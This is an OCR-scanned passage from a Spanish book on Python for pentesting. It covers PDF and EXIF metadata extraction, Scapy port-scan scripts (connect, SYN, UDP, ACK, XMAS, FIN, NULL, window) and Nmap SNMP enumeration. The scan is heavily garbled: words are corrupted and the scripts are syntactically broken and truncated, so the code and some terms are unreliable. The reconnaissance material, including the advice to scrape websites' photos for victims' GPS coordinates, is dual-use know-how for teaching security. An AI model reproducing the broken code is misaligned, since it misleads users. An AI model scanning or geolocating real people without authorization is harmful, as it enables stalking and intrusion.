& srocedimiento utilizado para asesinar a sus victimas.

= ol afio 2004, el caso se encontraba en un punto muerto y aungue se contaba con el ADN del
wweto. ninguna de las pruebas realizadas con los sospechosos y otros habitantes de la zona eran
ecluventes. Ese mismo aito, BTK envid un mensaje a la policia en ¢l que preguntaba si era posible
weesiguar su identidad si mandaba un CD, la policia en un intento por obtener mas pistas, contesto
e para ellos era imposible conocer su identidad o su ubicacion solamente con un CD; aunque
e aguel afio ya se contaba con las herramientas necesarias para extraer mefadatos ¢ nformacion
wiconal sobre cualquier tipo de documento. BTK envio un CD que contenia un dnico fichero en
RTF, el cual contenia varios metadaros que fueron vitales para localizar y capturar a 5TK.
los metadatos, s¢ incluia el campo “autor™ con el valor “Dennis™ y habia una asociacion con la
Lurerana de Wichita, 1o cual permitié a la policia limitar enormemente la busqueda. Dennis
era uno de los didconos de dicha iglesia. el autor del documento y de los asesinatos.

o =io 2005 fue arrestado por la policia de Wichita vy ese mismo ano, confeso los crimenes
sdos delante del juez y el jurado. El caso de Demnis Rader no ha sido el dnico caso en ¢l que
s como la policia han wtilizado los meradatos para encontrar ¢l autor de un documento. otro
s reciente y desde luego, mucho menos escatologico, fue ¢l caso de uno de los integrantes
% Seemymionus llamado Alex Tapanaris, el cual fue detenido por la policia griega tras examinar
ros de uno de los documentos del grupo hacktivista en ¢l que se explicaba la operacion
= la cual consistia en una serie de ataques de denegacion de servicio distnbuido contra
empresas y multinacionales. La policia logro determinar que Alex Tapanaris era el autor de
documento tras examinar los metadaios incluidos en el fichero PDF y unos dias después fue
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En los Gltimos afios, el uso de los metadatos para determinar el autor de un documento o incluso su
ubicacion geografica, ha sido una forma bastante empleada por la policia y por los delincuentes para
acceder a informacion sensible que evidentemente, los autores no descarian exponer publicamente.

En Python existen vanas librerias que pueden ser utilizadas para automatizar la extraccion de dicha
informacion, a continuacion se explica el uso de algunas de ellas.

1.6.1 Anailisis de metadatos en documentos PDF con PyPDF2

PyPDF es una libreria que permite manipular documentos POF, asi como la posibilidad cifrar o
descifrar documentos y desde luego, extraer sus meradaios incluidos. Es una libreria cuyo desarrollo
ha sido abandonado por su autor, sin embargo se ha creado una bifurcacidon del proyecto para
continuar con el desarrollo de nuevas funcionalidades vy la solucion de problemas existentes ¢n la
version original. Dicha bifurcacion ha dado lugar a la libreria PvPDF2, la cual implementa algunas
mejoras con respecto a su predecesora en términos de calidad de cédigo v funcionalidades afadidas.
Para descargar la libreria, es posible hacerlo aulomdaticamente con la utilidad pip, clonando el
repositorio (i To descargando manualmente la Gltima version estable, la cual se encuentra disponible
en el siguiente enlace: https://pypi.python.org/pypi/PyPDF2.

El uso de la clase PdfFileReader permite obtener los metadaros de un documento determinado por
medio del método gerDacumenilnfo.

*»pychon

Python 2.7.1 (¥Z271:86832, Nov 27 2010, 18:30:«¢8) [MSC +.L500 32 bit (Intel)] on
win3d2

Tyoe “help”™:; “copyrelght”, “credits™ or “license” [or meore informeticon.

>>>» from PyPDFZ inport PdiFileBeader, PdiFileWriter

- -
> gdel printMetal):

Bk pdiFile Fdfrilereader (file { *D: \NANONOFS The Presa Releasze.pdf’,
'.:rhi JJ
axhi docInfoa = pdfFfile.getDocumentInfo ()
Far metcaltem in docInEo-
print “[+] “ + metaltem + “:7 + docInfc[metaltem]

2> prlntM=tal)

[+] Fauthor:Alex Tapanaris

[#] fProducer:OpenDilice.org 3.2

[+] JfCreator:Writer

[#] /CreationDate:D:20101210031827+027 00
2

En este caso, la funcidn printMefa crea una instancia de la clase PdfFileReader con el documento
POF a manipular. Posteriormente, la funcion getDocumentinfo se encarga de retornar un diccionario
con todos los melfadaros del documento. En este caso concreto, se ha utilizado el fichero PDF que ha
sido utilizado por la policia griega para capturar a Alex Tapanaris. Como se puede apreciar, aparece
¢l nombre completo del autor, la fecha de creacion y la herramienta utilizada para su edicidn. Se trata
de un ejemplo simple que puede ser utilizado contra cualquier documento PDF y que demuestra el
uso de un pequeio conjunto de las funcionalidades incluidas en PyPOF2,
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1.6.2 Analisis de metadatos EXIF con PIL (Python Imaging Library)

Exif (Exchange Image File Formar) es una especificacion que indica las reglas que deben seguirse
2 la hora de almacenar ficheros cuyo contenido son imagenes o audio. Esta especificacion es
=specialmente interesante debido a que es aplicada por varios dispositivos tales como smariphones
@ camaras digitales.

Eatre los metadatos que se pueden incluir en grabaciones de audio y fotografias digitales, se
emcwentran las coordenadas PDF con la ubicacion exacta de donde se han creado. Nuevamente,
=== tipo de informacién ha sido muy atil para organismos como la policia a la hora de localizar
 o=enales o incluso terroristas, pero desafortunadamente, también ha sido utilizada por delincuentes

- gar= perfilar a sus victimas.,

n o Twenti, si dichas imagenes tienen informacion sensible como las coordenadas PDF, para

ente serd mucho mas facil abordar a su victima fisicamente o conocer sus movimientos.

problema concreto se ha reportado principalmente en los meradatos EXTF generados por

Sspositivos [Phone 45, sin embargo, las versiones mas recientes ya no incluyen informacion

sz como las coordenadas PDF donde se ha tomado una fotografia digital con la cdmara del
VO,

wnz libreria en Pwthon que permite el procesamiento y manipulacion de imagenes. Permite
o= bos metadatos EXTF incluidos en un documento muy facilmente utilizando la funcion _gerexif.
» de metadatos son especialmente extensos y pueden cubrir varias paginas de texto, por este
== ocasiones ¢s mejor buscar solamente aquellos metadartos que resulten interesantes, como
slo, el campo GPSinfo.

exifMetadata.py

B _ExifTags import TAGS
& = ort Image

Image.open(imgFileName)

= imgFile. getexif()

dnfo

{tag, value) in info.items():

decoded = TAGS.get(tag, tag)

exifData(decoded] = value

e o= = exifData| "GP5Infa” )

= i TGDS:

print ‘[*] ™ + imgFileMame + * GPS Data: “+exifGPs
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El script anterior. se encarga de invocar a la funcion testForExif enviando como argumento |
ruta de una imagen. Posteriormente se utiliza la AP/ de PIL para abrir el documento y ex
los metadatos EXTF de la imagen. En el caso de que en los meradaros de la imagen se incluya
campo con informacion sobre las coordenadas PDF, se pinta por pantalla el nombre del fichero »
las coordenadas extraidas.

Se trata de un gjemplo bastante simple para explicar ficilmente el uso de P/ para la extraccice
de metadatos EXTF, pero evidentemente, un atacante podria utilizar otras librerias como Reguess
y Mechanize para extraer dindmicamente las imdgenes de un sitio web y posteriormente aplicar &
mismo procedimiento que se ha visto en el seripr anterior para extraer las coordenadas PDF de 1=
listado de imagenes.

El uso de Kequests, Mechanize y otras librerias enfocadas a entornos web, se vera en el siguients
capitulo de este documento.
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Capitulo 11
Escaneo, enumeracion y deteccion de
vulnerabilidades

e k2 informacion recolectada anteriormente, ¢l atacante tiene suficiente para comenzar ¢on
& Sese de escaneo, enumeracion e identificacion de posibles vulnerabihidades. En esta etapa, un
eeemte intentard determinar cudles servicios se encuentran en ejecucidn en la maquina objetivo. La
siarmacion recogida en esta fase es un importante insumo que permitird determinar los principales
e de acceso y limitar ¢l rango de busqueda de vulnerabilidades dependiendo de los servicios
= =ecucion. Existen una gran cantidad de herramientas que ayudan en la automatizacion de este
S &= actividades y lo mejor de todo, es que muchas de ellas se pucden automatizar desde scriprs
 Fyshorr,

2.1 Reconocimiento y enumeracion con Scapy

- S == una libreria en Python que se caracteriza por ser muy potente y flexible a la hora de
ewures analizar, manipular, ¢ inyectar paquetes en un segmento de red. Soporta una gran cantidad
& seeocolos de red y se utiliza en un gran nimero de proyectos de seguridad informdtica en
"+ gee se requiere manipular paquetes de red. Ademis de permitir la manipulacion de paquetes,
= es una excelente herramienta para realizar actividades de reconocimiento y escanco de
con la ventaja evidente de que permite controlar todo desde un seripr en Python. Por otro
mdependientemente de la herramienta utilizada, se han ido desarrollando varias técnicas que
ealizar escaneos de puertos y detectar servicios en ejecucion, cerrados y filtrados. Cada
caracteristicas muy concretas y para un atacante o penfester, ¢s importante conocerlas bien
saber en qué momento resulta conveniente utilizarlas.

T A= Se asumen unos conocimientos basicos sobre el funcionamiento de protocolos tales como
ey UDP.

2 1.1 TCP Connect Scan

\wsmdo se realiza una conexion TCP a un puerto determinado. se intercambian tres paquetes con las
S SYN/SYN+ACK v ACK. Dichos paquetes representan la comunicacion completa, donde tanto
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¢l cliente como el servidor reconocen que se encuentran en disposicion de intercambiar paquetes
de datos. Se trata evidentemente, del mecanismo mas fiable para detectar si un puerlo se encuentra
abierto, pero también suele ser el mecanismo més auditado v vigilado por sistemas de deteccion v
prevencion de intrusiones. En este tipo de escaneo, un puerto se encuentra abierto en ¢l caso de que
el servidor responda con un paquete que contenga la flag ACK después de enviar un S¥N y se asume
que se encuentra cerrado en ¢l caso de que la respuesta por parte del servidor sea un paquete con la
flag RST.

Script connect_scan.py

$! Susr/bin/python

import logging

idogging.getlogger (Macapy.runtime™} . setlevel (logging .ERBOR)
from scapy.all imporpt *

if len{sys.argwv) != 3:
print “usage: Python cénnect Scan.py <ip addresay <list of ports separated by coalanz>®
exit{]

arc_port = Rand3hort()

doat _port=22

dat ip = gys.argvil}

ports = sys_argw2]

porta.replace{™ , “7}

gcanforts = ports.stripi).splitc(:z"')

Eor port in scanForts:
rasponzse = srl{IP(dast=dat ip)/TCP(sport=src pori,dport=intiport) ,flagz=*5"})
1f{ztx(tvpa(response) l=="<type ‘HoneTvpa’>"):

print port+": Port Closed

elif (response.haslayer(TCP)} ] :

if (response.getlayer (TCP] .flags == 0xl12):
send_retmgrl (IP(det=dat ip)/TCE[sportesre poct,dport=int (porct) flags="AR"))
srint pert+": Port Qpen™
21if (responsa.getlaver (TCP) .flags == 0Ox14):

print pert+*: Port Closed”™

2.1.2 TCP Stealth Scan

Se trata un tipo de escanco basado en el TCP Connect (three-way handshake) con la diferencia
de que la conexion contra el objetivo en el puerto especificado no se completa integramente, va
que es cortada por el cliente antes de que pueda completarse el handshake. Consiste simplemente
en comprobar el paquete de respuesta del objetivo ante un paquete con la flag S¥NV habilitada. Si
el objetivo responde con un paquete que tiene jiag RST establecida, se asume que el puerto se
encuentra cerrado o filtrado,

En el caso de que el paquete de respuesta contenga las flags SYN+ACK, se asume que el puerto se
encuentra abierto y dado que al atacante no le interesa completar el handshake envia un paguete con
la flag RST para finalizar la conexion.
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o stealth_scan.py

Fosc/bBinS/python

sart logging

ssing . getLlogger (Mscapy. ruatime”) . satlevel (logging . ERROR)
== scapy.all import =

Ben(sys.argv) 1= 3:
i print “usage: Python stealth_scan.py <ip address> <list of ports separated by

— -

exit ()

: fport = RandShort()
= Zp = sys.argv(l]

im = sys.argv(2]

]

‘-—rﬂPlaQE{“ “Jl “"1
Borts = ports.strip() .splic(*:")

pest in scanPorts:
rasponse = srl (IP(dst=dst_ip) /TCP(sport=src_port,dport=int (port), -
=0)
if(stri{type(response) )s=<tyne ‘NoneTypea®>"):
print port+”: Filtered”
elif (response.haslayes (TCP)):
if(response.getlayer (TCP) .flags == (x12):
gend_rst = srl(IP(dst=dst_ip)/TCP(sport=src_port,d-
=ipoct) ,flags="R"))
print port+”: Open”
elif (response.getlayer (TCP).llags == (x14):
print port+”: Closed”
glif (response.haslayer (ICHMP)) :
if({int(response.getlayer (ICMP) .type)==3 and int(response.getlay-
-Cﬂdﬂ} in i1¢2,3,9,10,13!l:
print port+*: Filtered”

.

3 Escaneo UDP

‘= == protocolo que se caracteriza por garantizar que las tramas de los paquetes de datos se
e=en completa v ordenadamente sobre un canal de comunicacion entre cliente y servidor.
s lado, UDP es un protocolo que se caracteriza por enviar lo mas rapidamente posible los
e &e datos a un destino concreto.

seolo no garantiza que los paquetes enviados lleguen en orden o que las tramas lleguen
esto es debido a que en el protocolo UDWP se asume que el destinatario se encuentra
para recibir paquetes de datos y en ese modelo no hay cabida para el reconocimiento de la
mcion, como si ocurre con el handshake que s¢ debe establecer entre cliente y servidor TCP,

de servicios que se ejecutan bajo protocolo UDP, es un proceso simple y muy rapido, ya
Heva a cabo el reconocimiento de la comunicacion entre ambas partes y para probar si un
=mcuentra abierto, solamente es necesario enviar un paquete UDP al puerto en cuestioén. En
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¢l caso de que ¢l puerto se encuentre abicrto, la respuesta sera un paquete UDP, en el caso cont
la respuesta serd un paquete /CMP del tipo 3 (Puerto Inalcanzable).

Seript udp_scan.py

! Sfusr/bin/python

import looging

logging.getLogger (*scapy.runtime®) .seclevel {(logging . ERROR)
Erxam scapy.all import *

if len{sys.argv) != 3:
print “usage: Fython udp scan.py <ip address> <list of ports separated by co-

exit ()
src port = RandShort()
dst_ip = sys.argv(l]
porkts = sys.azgv[2
ports.caplaca(™ ™, ™)
scanPorts = ports.strip(l.splic(*:%)
for port

retrans =
for count in randge{0,3):
retrans..appendierl {IP{dst=dst ip)/
UDE (dport=ink{pozti i)}
for item in retrans:
if (response.haslayers (UDZ2)):
primt porc+¥: Dpen®
ellf (response.hazlayacs (ICHME] ) :
if{int (zesponse . getlayer (ICMP) .
type)l==3 and int(response.getlayec(ICHP) .coda)==3}):
I T 4 +71 Closad”
elif({int (response.gaclayer (ICMP) . cypa)==
and int(responee.getlsyer (ICHMP) .code) in [1,2,9,10,13)):

o
H
3
=]
rt
]
4]
=
it

2.1.4 ACK Scan

Un escaneo TCP ACK, en realidad no es una técnica para detectar la disponibilidad de un servicio,
sino que le permite a un atacante perfilar el objetive y determinar si hay algin & irewall en ejecucion |
en la magquina remota.

Implementar este tipo de escanco ¢s sencillo, solamente es necesario erear un paquete con la flag
ACK activada vy enviarlo al objetivo, en ¢l caso de que la maquina remota responda con un paquete
que tenga la flag RST habilitada, se asume que ¢l puerto no se encuenira filtrado por ningan firewail.
En el caso de que el objetivo no responda o que responda con un paquete JCMP del tipo 3, se asume
que hay un Firewal! filtrando los paquetes entrantes en el puerto especificado.
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 Script ack_scan.py

el Jusc/binfpython

lmport logging

Boooing.getlogger (“scapy.cuntime™) .setlevel (logging . ERROR)
Mo scapy.all impore *®

len{sys.arcgy) != 3:
print "“usage: Python ack scan.py <ilp addreas> <list of ports separated by co-

exic (]

e port = RandShort()
et ip = sys.argv(l]
s = zvg.argv[2]

ts.replace(™ ™, ™7}
Pores = ports.strip()..splic{*:")
= port in scanPorts:
response = srl (IP(dst=dst_ip) /TCF (dport=int (port) ,flags="A"})
if (stritype(response))=="<cype ‘NoneType’ »"):
print "Stateful Jlirewall”™
elif (response.haslayez (TCF)):
if (response.getlayer (TCP) .flags == Ox4):
print “No firewall”
lif({responsc.haslayer (ICHMP) ) :
if(int{response.getlayer (ICMP) .type)==3 and int(response.
yer (ICMP) .code) in [1,2,3,9,10,13])):
print “Stateful firewall”™

XMAS Scan

escaneo s¢ basa en el establecimiento de las flags PSH, FIN v URG. Al ver los paquetes de
parecen un drbol de navidad, con varias flags establecidas y varias sin establecer. ese es el
de su nombre. Si ¢l puerto en cuestion se encuentra abierto, no habra respuesta por parte
~ador, en ¢l caso de que retorne un paquete con la flag RST indica que el puerto se encuentra
fnalmente, si devuelve un paquete /CMP del tipo 3, el puerto se encuentra filtrado.

IS py
Rscary.all imporg *

logging
g.getlogger (“scapy.cuntime®™) .setlevel {(logging . ERROR)

isy=.azgv) !'= 3:
Fint “usage: Python xmas.py <ip address> <list of ports separated by colon>”
i)

artion = gys.argvil]
- zvs argviz]

lhﬂl}

s _replace (™ v,
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scanPorts = portas.stripi().split(*:*)

for port in scanPortg:
if port.isdigit():
response = Srl({IPF{dst=destination)/TCP(dport=int (port),flags="FPU*))
if response iz None:

Pprint *[*] Puerto %2 Openifilteresd ™ % (port)
@lif (response.haslayer(TCP) and response.getlayer (TCP).flags == 0xl4):
print Y [=] Puartoc %8 Closed” % (port)
elif (responsge.haslayer(ICMP)) and int(response.getlayer (ICMP) .type)==3:
priant “[-] Puerto %s Filtered” % (portc)
elgea:
print ™[-] Puerto %s invalide...™ % {porxt)

2.1.6 FIN Scan

Un escaneo FIN, envia un paquete TCP al objetivo con la flag FIN establecida. En el caso de
no exista una respuesta por parte de la maquina remota, se asume que el puerto se encuentra abi
pero si la respuesta es un paquete con la flag RST establecida, s¢ asume que el puerto se encu
cerrado.

Script fin_scan.py

#! fusc/binfpython
import logging
logging.getlogger ({“scapy.runtime”) .setlevel (logging.ERECOR)
from scapy.all import *
if lenisys.argv) != 3:
print “usage: Python fin scan.py <ip address> <list of ports separated by co=
lon=" '
eXit ()
grc_port = Handshort (]
ast_1p = sys.argv(1]
porta = sys.argvi[2]
ports.replace(™ v, =)
scanPorts = ports.strip().splitc(*:*)

for port in scanPorts:
regponse = srl(IP(dst=dstc_ip) /TCP [dport=int (poret) .flags="F*))
Lf (stritype(response))=="<type ‘NoneType’>"):
primt “Open |Filtered™
elif (response.haslayer (TCP)) :
if (response.getlayer (TCP) .flags == (xl4):
print “*Cloasd™
elif (response.haslayer (ICMP)) :
if{int{response.getlayer (ICHP) .type)==3 and int{response.
getlayer (ICMP) .code) in [1,2,3,9,10,13]):
print *Filtered”
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2.1.7 NULL Scan

Un escaneo NULL, envia un paquete TCP al objetivo sin ninguna flag establecida. En el caso de que
2 maguina remota no emita ninguna respuesta, se asume que el puerto se encuentra abierto, si la
maquina remota devuelve un paquete con la flag RST, se asume que el puerto se encuentra cerrado.

Script nuell_scan.py
§" ."'fh-rfpy hon

::gzlnglﬁethﬂgger{“fﬂaﬂy runtime”) .setLevel {logging.ERROR)
from scapy.all impor:
if len{ays.argv) != 3:

print “usage: Python null_scan.py <ip address> <list of ports separated by co-

(21 'al.l' 'a'alll}

s ports.steip().splic(*:")
in scanPorts:
r@gsponse = srl(IP(dst=dst ip)/TCP(dportwint
if “'r{uyﬁt{*ﬁstﬂ“séjjﬂﬂ"{cycﬂ ‘NoneType’ >
print "Open|Filtered”
alif(response.haslayer(TCP)):
if{response.getlayer (TCP) .flags == (xl14):
print "Closed”
lif{response.haslayer (ICMP)):
i’{intt:eswuﬂse getlayer (ICHP) .type)==3 and
ot (response.getlayer {ICHME) .code) in [1,2,3,9,10,.131)1¢:
nvi"" “*Filteraed”

]
g, renlace (
Porks

(port) ,llags=""})
"

- 2.1.8 Window Scan

Este tipo de escaneo funciona igual que el escaneo del tipo ACK, con la diferencia de que en este
==2=0, 51 que se intenta determinar ¢l estado de un puerto verificando el tamaiio del campo window del
saguete devuelto por el objetivo. La respuesta de la midquina remota serd un paquete con la flag RST
e=tzblecida, pero en ¢l caso de que el valor del campo window sea positivo, se asume que el puerto
== encuentra abierto. Si el valor del campo window es cero, se asume que el puerto se encuentra
eemado.

Script window_scan.py

#2 fusr/bin/pychon

fmport logging

Iogging.getlogger (“scapy.runtime”™) . setlevel {logging. ERROR)

from scapy.all import *

if len(sys.argv) = 3:
print Tusage: Python window_scan.py <ip address> <list of ports separated by
X1t (]
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src_pozt = RandShorti)

dst_ip = sys.argvl]
ports = aya.argv|[Z]
porta.replace(™ *, ™¥)
scanPorts = ports.atrip().spliti*:"})
for port in scanPorts:
response gxrl(IF(dst=dzt ip) /TCE{dport=:int(poct)  flags="A"))
1l [stritype (response) j=="<type “MoneType’'>"):

LI

print "Sin respuesta”
elif (response.haslayer(TCE))
if{response.getlayer (TCP) .window == 0}
prifnt “Cloased™
glif(reaponse.getlayer (TCE) .window > 0):
print “Open”

Las técnicas de escango que se han implementado en esta seccidn con Scapy, también se encuents
implementadas en muchas otras herramientas, como por ejemplo, Nmiap.

2.2 Utilizando NMAP desde Python

NMAFP es una potente y robusta herramienta que implementa diferentes técnicas de escaneo
puertos en ordenadores. Su principal objetivo es el de encontrar informacion detallada sobre
sistema concreio o un segmento de red completo. Incluye un avanzado sistema de deteccidn &
SErvicins, puertos abiertos v otras caracteristicas bastante interesantes que pueden servir de apovo
un atacante para descubrir sistemas vulnerables v planificar su ataque. Dentro de las caracteristi
mis interesantes, se incluyen diferentes tipos de téenicas de evasion de sistemas de seguridad co
[0S o Firewalls, asi como tambieén un potente motor de scripting que permite recolectar informacio
y detectar vulnerabilidades concretas sobre el sistema escaneado. En este apartado, se explicaran |
caracteristicas mas interesantes que se incluyen en NMAP.

2.2.1 Script Engine

Una de las caracteristicas mas interesantes y potlentes que tiene Nmap es su motor para crear s
ejecutar seripts siguiendo la especificacion NSE (Nmap Seripting Engine). De esta forma
solamente es posible encontrar puertos abiertos, sino que también es posible ejecutar rutinas mas
complejas que permitan filtrar informacion sobre un objetivo. Actualmente hay una gran cantidad de
seripts incluidos en Nmap para miltiples propositos, como por ejemplo detectar los métodos HTTH
soportados por un servidor web, si un servicio SNMP tiene habilitado algin nombre de comunidad
frecuente como public o private, detectar si el objetivo ejecuta un WAF (Web Application Firewall)
entre muchas otras rutinas que resultan muy atiles para un atacante.

Para ejecutar un scripf, es necesario indicar la opcion --seripr junto con el nombre del scripi NSE
que se desea ¢jecutar. En el caso de que el seripr requiera algln argumento, también es necesario
incluir la opeion --seript-args. Por otro lado, la opcion -+C también puede ser utilizada para ejecutar
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wodos los seripts que coincidan con un puerto abierto o servicio en ¢jecucion encontrado durante el
groceso de escanco,

s scripts disponibles en una instalacion de Nmap, se encuentran disponibles en el directorio
MAP=/eripis™. Si por ejemplo, Nmap se ha instalado e¢n un sistema basado en Debian con
wulidad api-get, dichos scripts probablemente estan ubicados en el directorio “/usrlocalishare/
apscripis/”.

del scripi smmp-interfaces

p =sUV -plél 192.168.1.2 --script="snmp-interfaces” --script-
“snmpcommunity=public*
farring Nmap 6.25 ( http://nmap.org ) at 2014=-03=-17 22:36 CET
p scan report for 192.168.1.2
is up (0.00046s latency).
. STATE SERVICE VERSION
edo opén  Snmp net=snme
smmr—-interfaces:
B 1o
IP address: 127.0.0.1 Netmask: 255.0.0.0
Type: softwarelLoopback Speed: 10 Mbps
Status: up
Trafilc stats: 17.16 Eb sent, 17.16 Kb racelived
Bdvanced Micro Devices [AMD] 79¢370 [PCnet32 LANCE)
IF address: 192.168.1.10 HNetmask: 255.2353.255.0
MAC addresgg: 08:00:27:39:73:17 (Cadmus Computer 3ystems)
Type: ethernetCsmacd Speed: 100 Mops
B Status: up
1 Trafiic stats: 1.42 Eb sent, 12.91 Eb received
Bidress: 08:00:27:39:73:17 (Cadmus Computer Systems)
tection performed. Flease report any incorrect results at http://nmap.
b T/

done: 1 IP address (1 host up) scanned in 5.97 seconds

v del script smmp-nefstal

-sUV =pl6l 192.168.1.2 --script="snmp-netstat” --script-
soencommunity=public®

mg Mmap 6.25 ( http://nmap.org ) at 2014-03-17 22:38 CET
scan report for 192.168.1.2

iz up (0.00048s latency).

3 STATE SERVICE VERSION

B open Snmp nec-snmp

T

CsCat:

0.0.0.0:22 0.0.0.0:0
0.0.0.0:80 0.0.0.0:0
0.0.0.0:443 0.0.0.0:0
127.0.0.1:199 0.0.0.0:0
127.0.0.1:199 127.0.0.1:35822
127.0.0.1:199 127.0.0.1:35825
127.0.0.1:199 127.0.0.1:35826
127.0.0.1:35822 127.0.0,1:199
127.0.0.1:35825 127.0.0.1:199




